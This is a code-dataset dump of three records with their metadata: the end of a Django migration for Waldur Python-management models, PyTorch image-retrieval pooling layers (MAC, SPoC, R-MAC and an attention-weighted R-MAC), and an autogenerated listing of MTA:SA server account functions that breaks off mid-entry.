choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('virtual_env_name', models.CharField(max_length=255)),
('output', models.TextField(blank=True)),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='PythonManagementFindVirtualEnvsRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('virtual_env_name', models.CharField(max_length=255)),
('output', models.TextField(blank=True)),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='PythonManagementInitializeRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('output', models.TextField(blank=True)),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='PythonManagementSynchronizeRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('virtual_env_name', models.CharField(max_length=255)),
('output', models.TextField(blank=True)),
('libraries_to_install', waldur_core.core.fields.JSONField(blank=True, default=[], help_text='List of libraries to install')),
('libraries_to_remove', waldur_core.core.fields.JSONField(blank=True, default=[], help_text='List of libraries to remove')),
('initialization_request', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='sychronization_requests',
to='python_management.PythonManagementInitializeRequest')),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='VirtualEnvironment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=150, validators=[waldur_core.core.validators.validate_name], verbose_name='name')),
('uuid', waldur_core.core.fields.UUIDField()),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='virtual_environments', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='installedlibrary',
name='virtual_environment',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='installed_libraries', to='python_management.VirtualEnvironment'),
),
migrations.AlterUniqueTogether(
name='pythonmanagement',
unique_together=set([('instance', 'virtual_envs_dir_path')]),
),
]
| 60.912621
| 180
| 0.600574
| 1,178
| 12,548
| 6.231749
| 0.128183
| 0.038959
| 0.052309
| 0.049585
| 0.820597
| 0.808064
| 0.791309
| 0.777687
| 0.777687
| 0.771148
| 0
| 0.011427
| 0.253746
| 12,548
| 205
| 181
| 61.209756
| 0.772533
| 0.005419
| 0
| 0.725888
| 1
| 0
| 0.18458
| 0.060912
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.040609
| 0
| 0.060914
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
6458786375925fa52609259016cc004c623e096a
| 5,255
|
py
|
Python
|
pooling.py
|
RetrainIt/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
|
080aa5ae2f2755c6dc10b7cdc910ec0f76bc82c3
|
[
"Apache-2.0"
] | 15
|
2018-07-06T09:29:20.000Z
|
2021-05-15T05:22:36.000Z
|
pooling.py
|
X-Lambert/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
|
55b1be6fdb80e403efb495000e85157bbc626dbf
|
[
"Apache-2.0"
] | 1
|
2019-03-17T12:11:30.000Z
|
2019-03-27T02:47:51.000Z
|
pooling.py
|
X-Lambert/Perfect-Half-Million-Beauty-Product-Image-Recognition-Challenge
|
55b1be6fdb80e403efb495000e85157bbc626dbf
|
[
"Apache-2.0"
] | 3
|
2018-07-06T09:29:22.000Z
|
2021-05-15T05:22:37.000Z
|
import torch
import torch.nn as nn
import math
import torch.nn.functional as F
# --------------------------------------
# Pooling layers
# --------------------------------------
def rmac(x, L=3, eps=1e-6):
ovr = 0.4 # desired overlap of neighboring regions
steps = torch.Tensor([2, 3, 4, 5, 6, 7]) # possible regions for the long dimension
W = x.size(3)
H = x.size(2)
w = min(W, H)
w2 = math.floor(w/2.0 - 1)
b = (max(H, W)-w)/(steps-1)
(tmp, idx) = torch.min(torch.abs(((w**2 - w*b)/w**2)-ovr), 0) # steps(idx) regions for long dimension
# region overplus per dimension
Wd = 0;
Hd = 0;
if H < W:
Wd = idx.tolist()
elif H > W:
Hd = idx.tolist()
v = F.max_pool2d(x, (x.size(-2), x.size(-1)))
v = v / (torch.norm(v, p=2, dim=1, keepdim=True) + eps).expand_as(v)
for l in range(1, L+1):
wl = math.floor(2*w/(l+1))
wl2 = math.floor(wl/2 - 1)
if l+Wd == 1:
b = 0
else:
b = (W-wl)/(l+Wd-1)
cenW = torch.floor(wl2 + torch.Tensor(range(l-1+Wd+1))*b) - wl2 # center coordinates
if l+Hd == 1:
b = 0
else:
b = (H-wl)/(l+Hd-1)
cenH = torch.floor(wl2 + torch.Tensor(range(l-1+Hd+1))*b) - wl2 # center coordinates
for i_ in cenH.tolist():
for j_ in cenW.tolist():
if wl == 0:
continue
R = x[:,:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:]
R = R[:,:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()]
vt = F.max_pool2d(R, (R.size(-2), R.size(-1)))
vt = vt / (torch.norm(vt, p=2, dim=1, keepdim=True) + eps).expand_as(vt)
v += vt
return v
def ramac(x, L=3, eps=1e-6):
ovr = 0.4 # desired overlap of neighboring regions
steps = torch.Tensor([2, 3, 4, 5, 6, 7]) # possible regions for the long dimension
W = x.size(3)
H = x.size(2)
w = min(W, H)
w2 = math.floor(w/2.0 - 1)
b = (max(H, W)-w)/(steps-1)
(tmp, idx) = torch.min(torch.abs(((w**2 - w*b)/w**2)-ovr), 0) # steps(idx) regions for long dimension
# region overplus per dimension
Wd = 0;
Hd = 0;
#print(idx.tolist())
if H < W:
Wd = idx.tolist()#[0]
elif H > W:
Hd = idx.tolist()#[0]
v = F.max_pool2d(x, (x.size(-2), x.size(-1)))
# find attention
tt=(x.sum(1)-x.sum(1).mean()>0)
# caculate weight
weight=tt.sum().float()/tt.size(-2)/tt.size(-1)
# ingore
if weight.data<=1/3.0:
weight=weight-weight
v = v / (torch.norm(v, p=2, dim=1, keepdim=True) + eps).expand_as(v) * weight
for l in range(1, L+1):
wl = math.floor(2*w/(l+1))
wl2 = math.floor(wl/2 - 1)
if l+Wd == 1:
b = 0
else:
b = (W-wl)/(l+Wd-1)
cenW = torch.floor(wl2 + torch.Tensor(range(l-1+Wd+1))*b) - wl2 # center coordinates
if l+Hd == 1:
b = 0
else:
b = (H-wl)/(l+Hd-1)
cenH = torch.floor(wl2 + torch.Tensor(range(l-1+Hd+1))*b) - wl2 # center coordinates
for i_ in cenH.tolist():
for j_ in cenW.tolist():
if wl == 0:
continue
R = x[:,:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:]
R = R[:,:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()]
# obtain map
tt=(x.sum(1)-x.sum(1).mean()>0)[:,(int(i_)+torch.Tensor(range(int(wl))).long()).tolist(),:][:,:,(int(j_)+torch.Tensor(range(int(wl))).long()).tolist()]
vt = F.max_pool2d(R, (R.size(-2), R.size(-1)))
# caculate each region
weight=tt.sum().float()/tt.size(-2)/tt.size(-1)
if weight.data<=1/3.0:
weight=weight-weight
vt = vt / (torch.norm(vt, p=2, dim=1, keepdim=True) + eps).expand_as(vt) * weight
v += vt
return v
class MAC(nn.Module):
def __init__(self):
super(MAC,self).__init__()
def forward(self, x):
return F.max_pool2d(x, (x.size(-2), x.size(-1)))
def __repr__(self):
return self.__class__.__name__ + '()'
class SPoC(nn.Module):
def __init__(self):
super(SPoC,self).__init__()
def forward(self, x):
return F.avg_pool2d(x, (x.size(-2), x.size(-1)))
def __repr__(self):
return self.__class__.__name__ + '()'
class RMAC(nn.Module):
def __init__(self, L=3, eps=1e-6):
super(RMAC,self).__init__()
self.L = L
self.eps = eps
def forward(self, x):
return rmac(x, L=self.L, eps=self.eps)
def __repr__(self):
return self.__class__.__name__ + '(' + 'L=' + '{}'.format(self.L) + ')'
class RAMAC(nn.Module):
def __init__(self, L=3, eps=1e-6):
super(RAMAC,self).__init__()
self.L = L
self.eps = eps
def forward(self, x):
return ramac(x, L=self.L, eps=self.eps)
def __repr__(self):
return self.__class__.__name__ + '(' + 'L=' + '{}'.format(self.L) + ')'
| 30.201149
| 167
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| 796
| 5,255
| 3.074121
| 0.133166
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| 0.065386
| 0.046588
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| 0
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| 5,255
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| 0
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| 0
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| 0.112903
| false
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| null | 0
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0
| 7
|
645d25deb639ac0ff39214e91c75e4c8e692b7e5
| 52,193
|
py
|
Python
|
oops/account_functions.py
|
mtasa-typescript/mtasa-wiki-dump
|
edea1746850fb6c99d6155d1d7891e2cceb33a5c
|
[
"MIT"
] | null | null | null |
oops/account_functions.py
|
mtasa-typescript/mtasa-wiki-dump
|
edea1746850fb6c99d6155d1d7891e2cceb33a5c
|
[
"MIT"
] | 1
|
2021-02-24T21:50:18.000Z
|
2021-02-24T21:50:18.000Z
|
oops/account_functions.py
|
mtasa-typescript/mtasa-wiki-dump
|
edea1746850fb6c99d6155d1d7891e2cceb33a5c
|
[
"MIT"
] | null | null | null |
# Autogenerated file. ANY CHANGES WILL BE OVERWRITTEN
from to_python.core.types import FunctionType, \
FunctionArgument, \
FunctionArgumentValues, \
FunctionReturnTypes, \
FunctionSignature, \
FunctionDoc, \
FunctionOOP, \
FunctionOOPField, \
CompoundOOPData, \
FunctionData, \
CompoundFunctionData
DUMP_PARTIAL = [
CompoundOOPData(
server=[
FunctionOOP(
description="""This function is a static function underneath the Account class.""",
base_function_name="addAccount",
class_name='Account',
method=FunctionData(
signature=FunctionSignature(
name='add',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['account'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='name',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='pass',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='allowCaseVariations',
argument_type=FunctionType(
names=['bool'],
is_optional=True,
),
default_value='false',
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function adds an account to the list of registered accounts of the current server.' ,
arguments={
"name": """The name of the account you wish to make, this normally is the players name. """,
"pass": """The password to set for this account for future logins. """,
"allowCaseVariations": """Whether the username is case sensitive (if this is set to true, usernames Bob and bob will refer to different accounts) """
},
result='returns an account or false if the account already exists or an error occured.' ,
),
url='addAccount',
),
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="copyAccountData",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='copyDataTo',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='fromAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function copies all of the data from one account to another.' ,
arguments={
"theAccount": """The account you wish to copy the data to. """,
"fromAccount": """The account you wish to copy the data from. """
},
result='returns a true if the accounts were valid, false otherwise.' ,
),
url='copyAccountData',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccount",
class_name='Account',
method=None,
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountData",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getData',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='key',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function retrieves a string that has been stored using setAccountData. Data stored as account data is persistent across users sessions and maps, unless they are logged into a guest account.' ,
arguments={
"theAccount": """The account you wish to retrieve the data from. """,
"key": """The key under which the data is stored """
},
result='returns a string containing the stored data or false if no data was stored under that key.' ,
),
url='getAccountData',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountID",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getID',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['int'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function retrieves the ID of an account.' ,
arguments={
"theAccount": """The account you wish to get the ID of. """
},
result='returns a int containing the accounts id, false if the account does not exist or an invalid argument was passed to the function.' ,
),
url='getAccountID',
),
field=FunctionOOPField(
name='id',
types=[
FunctionType(
names=['int'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountIP",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getIP',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function retrieves the IP address of an account.' ,
arguments={
"theAccount": """The account you wish to get the IP of. """
},
result='returns a string containing the accounts ip, false if the account does not exist or an invalid argument was passed to the function.' ,
),
url='getAccountIP',
),
field=FunctionOOPField(
name='ip',
types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountName",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getName',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function retrieves the name of an account.' ,
arguments={
"theAccount": """The account you wish to get the name of. """
},
result='returns a string containing the accounts name, false if the account does not exist or an invalid argument was passed to the function.' ,
),
url='getAccountName',
),
field=FunctionOOPField(
name='name',
types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountPlayer",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getPlayer',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['player'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns the player element that is currently using a specified account, i.e. is logged into it. Only one player can use an account at a time.' ,
arguments={
"theAccount": """The account you wish to get the player of. """
},
result='returns a player element if the account is currently in use, false otherwise.' ,
),
url='getAccountPlayer',
),
field=FunctionOOPField(
name='player',
types=[
FunctionType(
names=['player'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description="""This function is a static function underneath the Account class.""",
base_function_name="getAccounts",
class_name='Account',
method=FunctionData(
signature=FunctionSignature(
name='getAll',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns a table over all the accounts that exist in the server internal.db file. (Note: accounts.xml is no longer used after version 1.0.4)' ,
arguments={
},
result='a table over the accounts that exist in the server internal.db file. this table might be empty.' ,
),
url='getAccounts',
),
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description="""This function is a static function underneath the Account class.""",
base_function_name="getAccountsByData",
class_name='Account',
method=FunctionData(
signature=FunctionSignature(
name='getAllByData',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='dataName',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='value',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns a table containing all accounts with specified dataName and value (set with setAccountData).' ,
arguments={
"dataName": """The name of the data """,
"value": """The value the dataName should have """
},
result='returns table containing the accounts associated with specified value at dataname. returns false if invalid arguments were specified.' ,
),
url='getAccountsByData',
),
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description="""This function is a static function underneath the Account class.""",
base_function_name="getAccountsByIP",
class_name='Account',
method=FunctionData(
signature=FunctionSignature(
name='getAllByIP',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='ip',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='' ,
arguments={
"ip": """The IP to get accounts from. """
},
result='returns table containing the accounts associated with specified ip-address. returns false if invalid arguments were specified.' ,
),
url='getAccountsByIP',
),
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description="""This function is a static function underneath the Account class.""",
base_function_name="getAccountsBySerial",
class_name='Account',
method=FunctionData(
signature=FunctionSignature(
name='getAllBySerial',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='serial',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns a table containing all accounts that were logged onto from specified serial. If the serial is empty string, it will return all accounts that were never logged onto.' ,
arguments={
"serial": """The serial to get accounts from """
},
result='returns table containing the accounts associated with specified serial. returns false if invalid arguments were specified.' ,
),
url='getAccountsBySerial',
),
field=None,
is_static=True,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAccountSerial",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getSerial',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns the last serial that logged onto the specified account.' ,
arguments={
"theAccount": """The account to get serial from """
},
result='returns string containing the serial, the string is empty if the account was never used. returns false if invalid arguments were specified.' ,
),
url='getAccountSerial',
),
field=FunctionOOPField(
name='serial',
types=[
FunctionType(
names=['string'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="getAllAccountData",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='getAllData',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns a table containing all the user data for the account provided' ,
arguments={
"theAccount": """The account you wish to retrieve all data from. """
},
result='a table containing all the user data. this table might be empty.' ,
),
url='getAllAccountData',
),
field=FunctionOOPField(
name='data',
types=[
FunctionType(
names=['table'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description="""Static method [[Account]].getFromPlayer() can also be used""",
base_function_name="getPlayerAccount",
class_name='player',
method=FunctionData(
signature=FunctionSignature(
name='getAccount',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['account'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='thePlayer',
argument_type=FunctionType(
names=['player'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function returns the specified players account object.' ,
arguments={
"thePlayer": """The player element you want to get the account of. """
},
result='returns the players account object, or false if the player passed to the function is invalid.' ,
),
url='getPlayerAccount',
),
field=FunctionOOPField(
name='account',
types=[
FunctionType(
names=['account'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="isGuestAccount",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='isGuest',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function checks to see if an account is a guest account. A guest account is an account automatically created for a user when they join the server and deleted when they quit or login to another account. Data stored in a guest account is not stored after the player has left the server. As a consequence, this function will check if a player is logged in or not.' ,
arguments={
"theAccount": """The account you want to check to see if it is a guest account. """
},
result='returns true if the account is a guest account, false otherwise.' ,
),
url='isGuestAccount',
),
field=FunctionOOPField(
name='guest',
types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
),
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="logIn",
class_name='player',
method=FunctionData(
signature=FunctionSignature(
name='logIn',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='thePlayer',
argument_type=FunctionType(
names=['player'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='thePassword',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This functions logs the given player in to the given account. You need to provide the password needed to log into that account.' ,
arguments={
"thePlayer": """The player to log into an account """,
"theAccount": """The account to log the player into """,
"thePassword": """The password needed to sign into this account """
},
result='returns true if the player was successfully logged into the given account. returns false or nil if the log in failed for some reason, ie. the player was already logged in to some account (use logout first), if the account was already in use or if it failed for some other reason.' ,
),
url='logIn',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="logOut",
class_name='player',
method=FunctionData(
signature=FunctionSignature(
name='logOut',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='thePlayer',
argument_type=FunctionType(
names=['player'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function logs the given player out of his current account.' ,
arguments={
"thePlayer": """The player to log out of his current account """
},
result='returns true if the player was successfully logged out, false or nil if it failed for some reason, ie. the player was never logged in.' ,
),
url='logOut',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="removeAccount",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='remove',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function is used to delete existing player accounts.' ,
arguments={
"theAccount": """The account you wish to remove """
},
result='returns true if account was successfully removed, false if the account does not exist.' ,
),
url='removeAccount',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="setAccountData",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='setData',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='key',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='value',
argument_type=FunctionType(
names=['var'],
is_optional=False,
),
default_value=None,
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function sets a string to be stored in an account. This can then be retrieved using getAccountData. Data stored as account data is persistent across users sessions and maps, unless they are logged into a guest account. Even if logged into a guest account, account data can be useful as a way to store a reference to your own account system, though its persistence is equivalent to that of using setElementData on the players element.' ,
arguments={
"theAccount": """The account you wish to retrieve the data from. """,
"key": """The key under which you wish to store the data """,
"value": """The value you wish to store. Set to false to remove the data. NOTE: you cannot store tables as values, but you can use toJSON strings. """
},
result='returns a true if the account data was set, false if an invalid argument was specified.' ,
),
url='setAccountData',
),
field=None,
is_static=False,
)
],
client=[
],
),
CompoundOOPData(
server=[
FunctionOOP(
description=None,
base_function_name="setAccountName",
class_name='account',
method=FunctionData(
signature=FunctionSignature(
name='setName',
return_types=FunctionReturnTypes(
return_types=[
FunctionType(
names=['bool'],
is_optional=False,
)
],
variable_length=False,
),
arguments=FunctionArgumentValues(
arguments=[
[
FunctionArgument(
name='theAccount',
argument_type=FunctionType(
names=['account'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='name',
argument_type=FunctionType(
names=['string'],
is_optional=False,
),
default_value=None,
)
],
[
FunctionArgument(
name='allowCaseVariations',
argument_type=FunctionType(
names=['bool'],
is_optional=True,
),
default_value='false',
)
]
],
variable_length=False,
),
generic_types=[
],
),
docs=FunctionDoc(
description='This function sets the name of an account.' ,
arguments={
